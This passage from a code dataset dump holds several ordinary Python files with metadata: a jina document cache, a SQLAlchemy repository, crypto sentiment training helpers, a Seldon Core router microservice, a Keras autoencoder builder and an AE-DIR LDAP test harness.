pickle.dump(self.cache_val_to_id, open(self.path + '.cache', 'wb'))\n\n supported_fields = [ID_KEY, CONTENT_HASH_KEY]\n default_field = ID_KEY\n\n def __init__(self, index_filename: Optional[str] = None, field: Optional[str] = None, *args, **kwargs):\n \"\"\"Create a new DocCache.\n\n :param index_filename: file name for storing the cache data\n :param field: field to cache on (ID_KEY or CONTENT_HASH_KEY)\n \"\"\"\n if not index_filename:\n # create a new temp file if not exist\n index_filename = tempfile.NamedTemporaryFile(delete=False).name\n super().__init__(index_filename, *args, **kwargs)\n self.field = field or self.default_field\n if self.field not in self.supported_fields:\n raise ValueError(f\"Field '{self.field}' not in supported list of {self.supported_fields}\")\n\n def add(self, keys: Iterable[str], values: Iterable[str], *args, **kwargs) -> None:\n \"\"\"Add a document to the cache depending.\n\n :param keys: document ids to be added\n :param values: document cache values to be added\n \"\"\"\n for key, value in zip(keys, values):\n self.query_handler.id_to_cache_val[key] = value\n self.query_handler.cache_val_to_id[value] = key\n self._size += 1\n\n def query(self, key: str, *args, **kwargs) -> bool:\n \"\"\"Check whether the data exists in the cache.\n\n :param key: either the id or the content_hash of a Document\n :return: status\n \"\"\"\n return key in self.query_handler.cache_val_to_id\n\n def update(self, keys: Iterable[str], values: Iterable[str], *args, **kwargs) -> None:\n \"\"\"Update cached documents.\n\n :param keys: list of Document.id\n :param values: list of either `id` or `content_hash` of :class:`Document`\n \"\"\"\n # if we don't cache anything else, no need\n if self.field != ID_KEY:\n for key, value in zip(keys, values):\n if key not in self.query_handler.id_to_cache_val:\n continue\n old_value = self.query_handler.id_to_cache_val[key]\n self.query_handler.id_to_cache_val[key] = value\n del self.query_handler.cache_val_to_id[old_value]\n self.query_handler.cache_val_to_id[value] = key\n\n def delete(self, keys: Iterable[str], *args, **kwargs) -> None:\n \"\"\"Delete documents from the cache.\n\n :param keys: list of Document.id\n \"\"\"\n for key in keys:\n if key not in self.query_handler.id_to_cache_val:\n continue\n value = self.query_handler.id_to_cache_val[key]\n del self.query_handler.id_to_cache_val[key]\n del self.query_handler.cache_val_to_id[value]\n self._size -= 1\n\n def get_add_handler(self):\n \"\"\"Get the CacheHandler.\"\"\"\n return self.get_query_handler()\n\n def get_query_handler(self) -> CacheHandler:\n \"\"\"Get the CacheHandler.\"\"\"\n return self.CacheHandler(self.save_abspath, self.logger)\n\n def get_create_handler(self):\n \"\"\"Get the CacheHandler.\"\"\"\n return self.get_query_handler()\n", "sub_path": "jina/executors/indexers/cache.py", "file_name": "cache.py", "file_ext": "py", "file_size_in_byte": 5250, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "jina.executors.indexers.BaseKVIndexer", "line_number": 14, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 49, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 50, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 59, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 60, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 65, "usage_type": "name"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 73, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 79, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 114, "usage_type": "name"}]} {"seq_id": "2886066", "text": "import logging\nimport threading\nfrom contextlib import contextmanager\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker, scoped_session\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom sqlalchemy.pool import StaticPool\n\nfrom eu.softfire.tub.entities import entities\nfrom eu.softfire.tub.entities.entities import Base\nfrom eu.softfire.tub.messaging.grpc import messages_pb2\nfrom eu.softfire.tub.utils.utils import get_config, get_logger\n\nlogger = get_logger('eu.softfire.tub.repository')\n\nlock = threading.RLock()\n\ndb_url = get_config('database', 'url', \"sqlite:////tmp/experiment-manager.db\")\nis_sqlite = db_url.startswith(\"sqlite:\")\nif is_sqlite:\n engine = create_engine(db_url, poolclass=StaticPool, connect_args={'check_same_thread': False})\nelse:\n engine = create_engine(db_url)\ndebug_echo = (logger.getEffectiveLevel() == logging.DEBUG) and get_config('database', 'show_sql',\n False).lower() == 'true'\nengine.echo = debug_echo\nBase.metadata.create_all(engine)\nif is_sqlite:\n session_factory = sessionmaker(bind=engine)\n _session = scoped_session(session_factory)\n session = _session()\n\n\n@contextmanager\ndef get_db_session():\n \"\"\"Provide a transactional scope around a series of operations.\"\"\"\n global session\n with lock:\n if is_sqlite:\n with session.no_autoflush:\n yield session\n else:\n try:\n sx_factory = sessionmaker(bind=engine, expire_on_commit=False)\n _sx = scoped_session(sx_factory)\n sx = _sx()\n yield sx\n sx.commit()\n except:\n sx.rollback()\n raise\n finally:\n sx.expunge_all()\n sx.close()\n\n\ndef rollback():\n with get_db_session() as se:\n se.rollback()\n\n\ndef save(entity, _clazz=None):\n if _clazz:\n if hasattr(entity, 'id'): # usually id is None so this method acs as normal save\n _id = entity.id\n else:\n _id = entity.name\n try:\n if _id:\n found = find(_clazz, _id)\n if found is not None:\n if isinstance(found, list):\n for e in found:\n delete(e)\n else:\n delete(found)\n except NoResultFound:\n pass\n\n with get_db_session() as se:\n se.add(entity)\n se.commit()\n\n\ndef delete(entity):\n with get_db_session() as se:\n se.delete(entity)\n se.commit()\n\n\ndef find(_clazz, _id=None):\n with get_db_session() as se:\n if _id is None:\n res = se.query(_clazz).all()\n else:\n res = se.query(_clazz).filter(_clazz.id == _id).first()\n se.commit()\n return res\n\n\ndef drop_tables():\n Base.metadata.drop_all(engine)\n\n\ndef find_by_element_value(_clazz, element, value):\n with get_db_session() as se:\n res = se.query(_clazz).filter(element == value).all()\n se.commit()\n return res\n\n\ndef get_user_info(username):\n for ex in find(entities.Experimenter):\n if ex.username == username:\n result = messages_pb2.UserInfo()\n # result.id = ex.id\n result.name = ex.username\n result.password = ex.password\n result.ob_project_id = ex.ob_project_id\n for k, v in ex.testbed_tenants.items():\n result.testbed_tenants[k] = v\n return result\n", "sub_path": "eu/softfire/tub/entities/repositories.py", "file_name": "repositories.py", "file_ext": "py", "file_size_in_byte": 3573, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "eu.softfire.tub.utils.utils.get_logger", "line_number": 15, "usage_type": "call"}, {"api_name": "threading.RLock", "line_number": 17, "usage_type": "call"}, {"api_name": "eu.softfire.tub.utils.utils.get_config", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.pool.StaticPool", "line_number": 22, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 25, "usage_type": "attribute"}, {"api_name": "eu.softfire.tub.utils.utils.get_config", "line_number": 25, "usage_type": "call"}, {"api_name": "eu.softfire.tub.entities.entities.Base.metadata.create_all", "line_number": 28, "usage_type": "call"}, {"api_name": "eu.softfire.tub.entities.entities.Base.metadata", "line_number": 28, "usage_type": "attribute"}, {"api_name": "eu.softfire.tub.entities.entities.Base", "line_number": 28, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.scoped_session", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.scoped_session", "line_number": 46, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 35, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.exc.NoResultFound", "line_number": 78, "usage_type": "name"}, {"api_name": "eu.softfire.tub.entities.entities.Base.metadata.drop_all", "line_number": 103, "usage_type": "call"}, {"api_name": "eu.softfire.tub.entities.entities.Base.metadata", "line_number": 103, "usage_type": "attribute"}, {"api_name": "eu.softfire.tub.entities.entities.Base", "line_number": 103, "usage_type": "name"}, {"api_name": "eu.softfire.tub.entities.entities.Experimenter", "line_number": 114, "usage_type": "attribute"}, {"api_name": "eu.softfire.tub.entities.entities", "line_number": 114, "usage_type": "name"}, {"api_name": "eu.softfire.tub.messaging.grpc.messages_pb2.UserInfo", "line_number": 116, "usage_type": "call"}, {"api_name": "eu.softfire.tub.messaging.grpc.messages_pb2", "line_number": 116, "usage_type": "name"}]} {"seq_id": "141743727", "text": "# crypto_sentiments/common/trends/__init__.py\n\nimport datetime\n\nfrom crypto_sentiments.common.dateutils import daterange\nfrom crypto_sentiments.models.models import CurrencyPrice\nfrom crypto_sentiments.models.models import CurrencySentiment\n\n\nDEFAULT_WINDOW_SIZE = 3\nDIRECTIONS = set(['up', 'down', 'same'])\n\n\ndef feature_on(end, currency, window_size=DEFAULT_WINDOW_SIZE):\n \"\"\"\n Creates a feature for a given date using window_size-1 number of previous\n dates from the database\n \"\"\"\n if window_size < 2:\n raise Exception('Window size must be greater than 1')\n\n start = end - datetime.timedelta(days=window_size)\n csents = [\n CurrencySentiment.query.filter_by(\n currency=currency,\n date=d,\n ).first()\n for d in daterange(start, end)\n ]\n\n if len(csents) != window_size:\n raise Exception('Not enough data in database')\n\n sents = [csent.sentiment for csent in csents]\n return sum(sents) / len(sents)\n\n\ndef trainingset_between(start, end, currency, window_size=DEFAULT_WINDOW_SIZE):\n \"\"\"\n Creates a training set between start and end, end exclusive using the given\n window_size\n \"\"\"\n start_str = start.strftime('%Y-%m-%d')\n end_str = end.strftime('%Y-%m-%d')\n\n training_set = []\n for d in daterange(start+datetime.timedelta(days=window_size), end):\n feature = feature_on(d, currency, window_size)\n p1 = CurrencyPrice.query.filter_by(\n currency=currency,\n date=d-datetime.timedelta(days=1),\n ).first().price\n p2 = CurrencyPrice.query.filter_by(currency=currency, date=d).first().price\n price_chg = p2 - p1\n\n if price_chg > 0:\n price_chg = 'up'\n elif price_chg < 0:\n price_chg = 'down'\n else:\n price_chg = 'same'\n\n training_set.append((feature, price_chg))\n\n return training_set\n", "sub_path": "crypto_sentiments/common/trends/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1908, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.timedelta", "line_number": 22, "usage_type": "call"}, {"api_name": "crypto_sentiments.models.models.CurrencySentiment.query.filter_by", "line_number": 24, "usage_type": "call"}, {"api_name": "crypto_sentiments.models.models.CurrencySentiment.query", "line_number": 24, "usage_type": "attribute"}, {"api_name": "crypto_sentiments.models.models.CurrencySentiment", "line_number": 24, "usage_type": "name"}, {"api_name": "crypto_sentiments.common.dateutils.daterange", "line_number": 28, "usage_type": "call"}, {"api_name": "crypto_sentiments.common.dateutils.daterange", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 47, "usage_type": "call"}, {"api_name": "crypto_sentiments.models.models.CurrencyPrice.query.filter_by", "line_number": 49, "usage_type": "call"}, {"api_name": "crypto_sentiments.models.models.CurrencyPrice.query", "line_number": 49, "usage_type": "attribute"}, {"api_name": "crypto_sentiments.models.models.CurrencyPrice", "line_number": 49, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 51, "usage_type": "call"}, {"api_name": "crypto_sentiments.models.models.CurrencyPrice.query.filter_by", "line_number": 53, "usage_type": "call"}, {"api_name": "crypto_sentiments.models.models.CurrencyPrice.query", "line_number": 53, "usage_type": "attribute"}, {"api_name": "crypto_sentiments.models.models.CurrencyPrice", "line_number": 53, "usage_type": "name"}]} {"seq_id": "256038658", "text": "import grpc\nfrom concurrent import futures\n\nfrom flask import jsonify, Flask, send_from_directory\nfrom flask_cors import CORS\nimport numpy as np\nimport os\nimport logging\nfrom google.protobuf import json_format\n\nfrom seldon_core.proto import prediction_pb2, prediction_pb2_grpc\nfrom seldon_core.microservice import extract_message, sanity_check_request, rest_datadef_to_array, \\\n array_to_rest_datadef, grpc_datadef_to_array, array_to_grpc_datadef, \\\n SeldonMicroserviceException, get_custom_tags, ANNOTATION_GRPC_MAX_MSG_SIZE\nfrom seldon_core.metrics import get_custom_metrics\n\nPRED_UNIT_ID = os.environ.get(\"PREDICTIVE_UNIT_ID\",\"0\")\n\nlogger = logging.getLogger(__name__)\n\n# ---------------------------\n# Interaction with user router\n# ---------------------------\n\n\ndef route(user_router, features, feature_names):\n return user_router.route(features, feature_names)\n\n\ndef send_feedback(user_router, features, feature_names, routing, reward, truth):\n return user_router.send_feedback(features, feature_names, routing, reward, truth)\n\n# ----------------------------\n# REST\n# ----------------------------\n\n\ndef get_rest_microservice(user_router, debug=False):\n\n app = Flask(__name__, static_url_path='')\n CORS(app)\n\n @app.errorhandler(SeldonMicroserviceException)\n def handle_invalid_usage(error):\n response = jsonify(error.to_dict())\n response.status_code = 400\n return response\n\n @app.route(\"/seldon.json\", methods=[\"GET\"])\n def openAPI():\n return send_from_directory(\"openapi\", \"seldon.json\")\n\n @app.route(\"/route\", methods=[\"GET\", \"POST\"])\n def Route():\n\n request = extract_message()\n logger.debug(\"Request: %s\", request)\n\n sanity_check_request(request)\n\n if hasattr(user_router, \"route_rest\"):\n return jsonify(user_router.route_rest(request))\n else:\n datadef = request.get(\"data\")\n features = rest_datadef_to_array(datadef)\n\n routing = np.array(\n [[route(user_router, features, datadef.get(\"names\"))]])\n # TODO: check that predictions is 2 dimensional\n class_names = []\n\n data = array_to_rest_datadef(routing, class_names, datadef)\n\n response = {\"data\": data, \"meta\": {}}\n tags = get_custom_tags(user_router)\n if tags:\n response[\"meta\"][\"tags\"] = tags\n metrics = get_custom_metrics(user_router)\n if metrics:\n response[\"meta\"][\"metrics\"] = metrics\n return jsonify(response)\n\n @app.route(\"/send-feedback\", methods=[\"GET\", \"POST\"])\n def SendFeedback():\n feedback = extract_message()\n\n logger.debug(\"Feedback received: %s\", feedback)\n\n if hasattr(user_router, \"send_feedback_rest\"):\n return jsonify(user_router.send_feedback_rest(feedback))\n else:\n datadef_request = feedback.get(\"request\", {}).get(\"data\", {})\n features = rest_datadef_to_array(datadef_request)\n\n datadef_truth = feedback.get(\"truth\", {}).get(\"data\", {})\n truth = rest_datadef_to_array(datadef_truth)\n reward = feedback.get(\"reward\")\n\n try:\n routing = feedback.get(\"response\").get(\n \"meta\").get(\"routing\").get(PRED_UNIT_ID)\n except AttributeError:\n raise SeldonMicroserviceException(\n \"Router feedback must contain a routing dictionary in the response metadata\")\n\n send_feedback(user_router, features, datadef_request.get(\n \"names\"), routing, reward, truth)\n return jsonify({})\n\n return app\n\n\n# ----------------------------\n# GRPC\n# ----------------------------\n\nclass SeldonRouterGRPC(object):\n def __init__(self, user_model):\n self.user_model = user_model\n\n def Route(self, request, context):\n if hasattr(self.user_model, \"route_grpc\"):\n return self.user_model.route_grpc(request)\n else:\n datadef = request.data\n features = grpc_datadef_to_array(datadef)\n\n routing = np.array([[route(self.user_model, features, datadef.names)]])\n # TODO: check that predictions is 2 dimensional\n class_names = []\n\n data = array_to_grpc_datadef(\n routing, class_names, request.data.WhichOneof(\"data_oneof\"))\n\n # Construct meta data\n meta = prediction_pb2.Meta()\n metaJson = {}\n tags = get_custom_tags(self.user_model)\n if tags:\n metaJson[\"tags\"] = tags\n metrics = get_custom_metrics(self.user_model)\n if metrics:\n metaJson[\"metrics\"] = metrics\n json_format.ParseDict(metaJson, meta)\n\n return prediction_pb2.SeldonMessage(data=data, meta=meta)\n\n def SendFeedback(self, feedback, context):\n if hasattr(self.user_model, \"send_feedback_grpc\"):\n self.user_model.send_feedback_grpc(feedback)\n else:\n datadef_request = feedback.request.data\n features = grpc_datadef_to_array(datadef_request)\n\n truth = grpc_datadef_to_array(feedback.truth)\n reward = feedback.reward\n routing = feedback.response.meta.routing.get(PRED_UNIT_ID)\n\n send_feedback(self.user_model, features,\n datadef_request.names, routing, reward, truth)\n\n return prediction_pb2.SeldonMessage()\n\n\ndef get_grpc_server(user_model, debug=False, annotations={}, trace_interceptor=None):\n seldon_router = SeldonRouterGRPC(user_model)\n options = []\n if ANNOTATION_GRPC_MAX_MSG_SIZE in annotations:\n max_msg = int(annotations[ANNOTATION_GRPC_MAX_MSG_SIZE])\n logger.info(\"Setting grpc max message to %d\", max_msg)\n options.append(('grpc.max_message_length', max_msg))\n\n server = grpc.server(futures.ThreadPoolExecutor(\n max_workers=10), options=options)\n if trace_interceptor:\n from grpc_opentracing.grpcext import intercept_server\n server = intercept_server(server, trace_interceptor)\n\n prediction_pb2_grpc.add_RouterServicer_to_server(seldon_router, server)\n\n return server\n", "sub_path": "python/seldon_core/router_microservice.py", "file_name": "router_microservice.py", "file_ext": "py", "file_size_in_byte": 6230, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.environ.get", "line_number": 17, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 40, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 45, "usage_type": "call"}, {"api_name": "seldon_core.microservice.SeldonMicroserviceException", "line_number": 43, "usage_type": "argument"}, {"api_name": "flask.send_from_directory", "line_number": 51, "usage_type": "call"}, {"api_name": "seldon_core.microservice.extract_message", "line_number": 56, "usage_type": "call"}, {"api_name": "seldon_core.microservice.sanity_check_request", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 62, "usage_type": "call"}, {"api_name": "seldon_core.microservice.rest_datadef_to_array", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, {"api_name": "seldon_core.microservice.array_to_rest_datadef", "line_number": 72, "usage_type": "call"}, {"api_name": "seldon_core.microservice.get_custom_tags", "line_number": 75, "usage_type": "call"}, {"api_name": "seldon_core.metrics.get_custom_metrics", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 81, "usage_type": "call"}, {"api_name": "seldon_core.microservice.extract_message", "line_number": 85, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 90, "usage_type": "call"}, {"api_name": "seldon_core.microservice.rest_datadef_to_array", "line_number": 93, "usage_type": "call"}, {"api_name": "seldon_core.microservice.rest_datadef_to_array", "line_number": 96, "usage_type": "call"}, {"api_name": "seldon_core.microservice.SeldonMicroserviceException", "line_number": 103, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 108, "usage_type": "call"}, {"api_name": "seldon_core.microservice.grpc_datadef_to_array", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "seldon_core.microservice.array_to_grpc_datadef", "line_number": 132, "usage_type": "call"}, {"api_name": "seldon_core.proto.prediction_pb2.Meta", "line_number": 136, "usage_type": "call"}, {"api_name": "seldon_core.proto.prediction_pb2", "line_number": 136, "usage_type": "name"}, {"api_name": "seldon_core.microservice.get_custom_tags", "line_number": 138, "usage_type": "call"}, {"api_name": "seldon_core.metrics.get_custom_metrics", "line_number": 141, "usage_type": "call"}, {"api_name": "google.protobuf.json_format.ParseDict", "line_number": 144, "usage_type": "call"}, {"api_name": "google.protobuf.json_format", "line_number": 144, "usage_type": "name"}, {"api_name": "seldon_core.proto.prediction_pb2.SeldonMessage", "line_number": 146, "usage_type": "call"}, {"api_name": "seldon_core.proto.prediction_pb2", "line_number": 146, "usage_type": "name"}, {"api_name": "seldon_core.microservice.grpc_datadef_to_array", "line_number": 153, "usage_type": "call"}, {"api_name": "seldon_core.microservice.grpc_datadef_to_array", "line_number": 155, "usage_type": "call"}, {"api_name": "seldon_core.proto.prediction_pb2.SeldonMessage", "line_number": 162, "usage_type": "call"}, {"api_name": "seldon_core.proto.prediction_pb2", "line_number": 162, "usage_type": "name"}, {"api_name": "seldon_core.microservice.ANNOTATION_GRPC_MAX_MSG_SIZE", "line_number": 168, "usage_type": "name"}, {"api_name": "seldon_core.microservice.ANNOTATION_GRPC_MAX_MSG_SIZE", "line_number": 169, "usage_type": "name"}, {"api_name": "grpc.server", "line_number": 173, "usage_type": "call"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 173, "usage_type": "call"}, {"api_name": "concurrent.futures", "line_number": 173, "usage_type": "name"}, {"api_name": "grpc_opentracing.grpcext.intercept_server", "line_number": 177, "usage_type": "call"}, {"api_name": "seldon_core.proto.prediction_pb2_grpc.add_RouterServicer_to_server", "line_number": 179, "usage_type": "call"}, {"api_name": "seldon_core.proto.prediction_pb2_grpc", "line_number": 179, "usage_type": "name"}]} {"seq_id": "468992700", "text": "from keras.layers import Input, Dense\nfrom keras.models import Model\nfrom keras import regularizers\n# from keras.callbacks import TensorBoard\n\n\ndef build_autoencoder(input_dim, layers_dim=[100, 10, 10],\n activations=['relu', 'sigmoid'],\n inits=['glorot_uniform', 'glorot_normal'],\n optimizer='adadelta',\n l2=1e-5,\n loss='mse'):\n\n input_row = Input(shape=(input_dim,))\n\n for n, layer_dim in enumerate(layers_dim):\n if n == 0:\n encoded = Dense(layer_dim, activation=activations[0],\n kernel_initializer=inits[0])(input_row)\n elif n < (len(layer_dim) - 1):\n encoded = Dense(layer_dim, activation=activations[0],\n kernel_initializer=inits[0])(encoded)\n else:\n encoded = Dense(layer_dim, activation=activations[0],\n activity_regularizer=regularizers.l2(l2),\n kernel_initializer=inits[0])(encoded)\n\n encoder = Model(input_row, encoded)\n\n for n, layer_dim in enumerate(reversed(layers_dim[:-1])):\n if n == 0:\n decoded = Dense(layer_dim, activation=activations[0],\n kernel_initializer=inits[0])(encoded)\n else:\n decoded = Dense(layer_dim, activation=activations[0],\n kernel_regularizer=regularizers.l2(l2),\n kernel_initializer=inits[0])(decoded)\n\n decoded = Dense(input_dim, activation=activations[1],\n kernel_regularizer=regularizers.l2(l2),\n kernel_initializer=inits[1])(decoded)\n\n autoencoder = Model(input_row, decoded)\n autoencoder.compile(optimizer=optimizer, loss=loss)\n return autoencoder, encoder\n", "sub_path": "preprocessing/autoencoder.py", "file_name": "autoencoder.py", "file_ext": "py", "file_size_in_byte": 1843, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "keras.layers.Input", "line_number": 14, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 18, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 21, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 24, "usage_type": "call"}, {"api_name": "keras.regularizers.l2", "line_number": 25, "usage_type": "call"}, {"api_name": "keras.regularizers", "line_number": 25, "usage_type": "name"}, {"api_name": "keras.models.Model", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 32, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 35, "usage_type": "call"}, {"api_name": "keras.regularizers.l2", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.regularizers", "line_number": 36, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 39, "usage_type": "call"}, {"api_name": "keras.regularizers.l2", "line_number": 40, "usage_type": "call"}, {"api_name": "keras.regularizers", "line_number": 40, "usage_type": "name"}, {"api_name": "keras.models.Model", "line_number": 43, "usage_type": "call"}]} {"seq_id": "396290377", "text": "# uncompyle6 version 3.7.4\n# Python bytecode 3.8 (3413)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /aedir/test.py\n# Compiled at: 2020-02-17 13:24:16\n# Size of source mod 2**32: 6893 bytes\n\"\"\"\naedir.test - base classes for unit tests\n\"\"\"\nimport json, logging, os, jinja2\nfrom ldap0.test import SlapdObject, SlapdTestCase\nfrom aedir import AEDirObject\n__all__ = [\n 'AESlapdObject',\n 'AETest']\n\nclass AESlapdObject(SlapdObject):\n __doc__ = '\\n run AE-DIR test slapd process\\n '\n testrunsubdirs = ('schema', 'um', 'accesslog', 'session')\n openldap_schema_files = ('core.schema', 'cosine.schema', 'inetorgperson.schema',\n 'dyngroup.schema', 'openldap.schema', 'ppolicy.schema',\n 'nis.schema', 'duaconf.schema')\n\n def __init__(self, inventory_hostname, inventory, j2_template_dir):\n self._inventory = inventory\n self._inventory_local = self._inventory[inventory_hostname]\n self._openldap_role = self._inventory_local['openldap_role']\n self._j2_template_dir = j2_template_dir\n SlapdObject.__init__(self)\n self._schema_prefix = os.path.join(self.testrundir, 'schema')\n self._oath_ldap_socket_path = os.path.join(self.testrundir, 'bind-listener')\n self._inventory_local.update({'oath_ldap_socket_path':self._oath_ldap_socket_path, \n 'aedir_etc_openldap':self.testrundir, \n 'openldap_slapd_conf':self._slapd_conf, \n 'openldap_data':self.testrundir, \n 'openldap_rundir':self.testrundir, \n 'aedir_schema_prefix':self._schema_prefix, \n 'openldap_server_id':self.server_id, \n 'hostvars':self._inventory, \n 'aedir_rootdn_uid_number':os.getuid(), \n 'aedir_rootdn_gid_number':os.getgid(), \n 'openldap_path':{'conf_prefix': self.testrundir}})\n\n def setup_rundir(self):\n \"\"\"\n creates rundir structure\n \"\"\"\n SlapdObject.setup_rundir(self)\n self._ln_schema_files(self._inventory_local['openldap_schema_files'], os.path.join(os.environ['AEDIR_ROLE_DIR'], 'files', 'schema'))\n\n def gen_config(self):\n \"\"\"\n generates a slapd.conf based on Jinja2 template\n and returns it as one string\n \"\"\"\n jinja_env = jinja2.Environment(loader=jinja2.FileSystemLoader((self._j2_template_dir), encoding='utf-8'),\n trim_blocks=True,\n undefined=(jinja2.StrictUndefined),\n autoescape=None)\n for fdir, fname in (\n (\n self.testrundir, 'rootDSE.ldif'),):\n jinja_template = jinja_env.get_template(fname + '.j2')\n config_filename = os.path.join(fdir, fname)\n logging.debug('Write file %s', config_filename)\n with open(config_filename, 'wb') as (cfile):\n cfile.write(jinja_template.render(self._inventory_local).encode('utf-8'))\n else:\n jinja_template = jinja_env.get_template(self._openldap_role + '.conf.j2')\n slapd_conf = jinja_template.render(self._inventory_local)\n return slapd_conf\n\n\nclass AETest(SlapdTestCase):\n __doc__ = '\\n test class which initializes an AE-DIR slapd\\n '\n server_class = AESlapdObject\n ldap_object_class = AEDirObject\n inventory_path = 'tests/single-provider.json'\n j2_template_dir = os.path.join(os.environ['AEDIR_ROLE_DIR'], 'templates', 'slapd')\n init_ldif_files = ('tests/ae-dir-init.ldif', )\n ldap0_trace_level = int(os.environ.get('LDAP0_TRACE_LEVEL', '0'))\n ae_suffix = 'ou=ae-dir'\n maxDiff = 10000\n\n @classmethod\n def setUpClass(cls):\n logging.getLogger().setLevel(int(os.environ.get('LOGLEVEL', str(logging.WARN))))\n with open(cls.inventory_path, 'rb') as (json_file):\n cls.inventory = json.loads(json_file.read())\n cls.servers = dict()\n if cls.j2_template_dir is None:\n raise ValueError('No directory specified for Jinja2 config templates!')\n if not os.path.exists(cls.j2_template_dir):\n raise ValueError('Jinja2 templates directory %r does not exist!' % (cls.j2_template_dir,))\n for inventory_hostname in cls.inventory.keys():\n server = cls.server_class(inventory_hostname, cls.inventory, cls.j2_template_dir)\n server.start()\n cls.servers[inventory_hostname] = server\n else:\n for ldif_filename in cls.init_ldif_files:\n list(cls.servers.values())[0].ldapadd(None,\n extra_args=[\n '-e', 'relax',\n '-f', ldif_filename])\n else:\n cls._rootdn_conn = {}\n for inventory_hostname, server in cls.servers.items():\n logging.debug('Open LDAPI connection to %s', server.ldapi_uri)\n cls._rootdn_conn[inventory_hostname] = cls.ldap_object_class((server.ldapi_uri),\n trace_level=(cls.ldap0_trace_level))\n logging.info('Opened LDAPI connection to %s as %s', server.ldapi_uri, cls._rootdn_conn[inventory_hostname].whoami_s())\n\n def setUp(self):\n pass\n\n def _get_conn(self, inventory_hostname=None, who=None, cred=None, cacert_filename=None, client_cert_filename=None, client_key_filename=None, cache_ttl=0.0, sasl_authz_id=''):\n if inventory_hostname:\n server = self.servers[inventory_hostname]\n else:\n server = list(self.servers.values())[0]\n aedir_conn = self.ldap_object_class((server.ldapi_uri),\n trace_level=(self.ldap0_trace_level),\n who=who,\n cred=cred,\n cacert_filename=cacert_filename,\n client_cert_filename=client_cert_filename,\n client_key_filename=client_key_filename,\n cache_ttl=cache_ttl,\n sasl_authz_id=sasl_authz_id)\n return aedir_conn\n\n @classmethod\n def tearDownClass(cls):\n for server in cls.servers.values():\n server.stop()", "sub_path": "pycfiles/aedir-1.0.0-py3-none-any/test.cpython-38.opt-1.py", "file_name": "test.cpython-38.opt-1.py", "file_ext": "py", "file_size_in_byte": 6016, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ldap0.test.SlapdObject", "line_number": 18, "usage_type": "name"}, {"api_name": "ldap0.test.SlapdObject.__init__", "line_number": 30, "usage_type": "call"}, {"api_name": "ldap0.test.SlapdObject", "line_number": 30, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.getuid", "line_number": 41, "usage_type": "call"}, {"api_name": "os.getgid", "line_number": 42, "usage_type": "call"}, {"api_name": "ldap0.test.SlapdObject.setup_rundir", "line_number": 49, "usage_type": "call"}, {"api_name": "ldap0.test.SlapdObject", "line_number": 49, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": 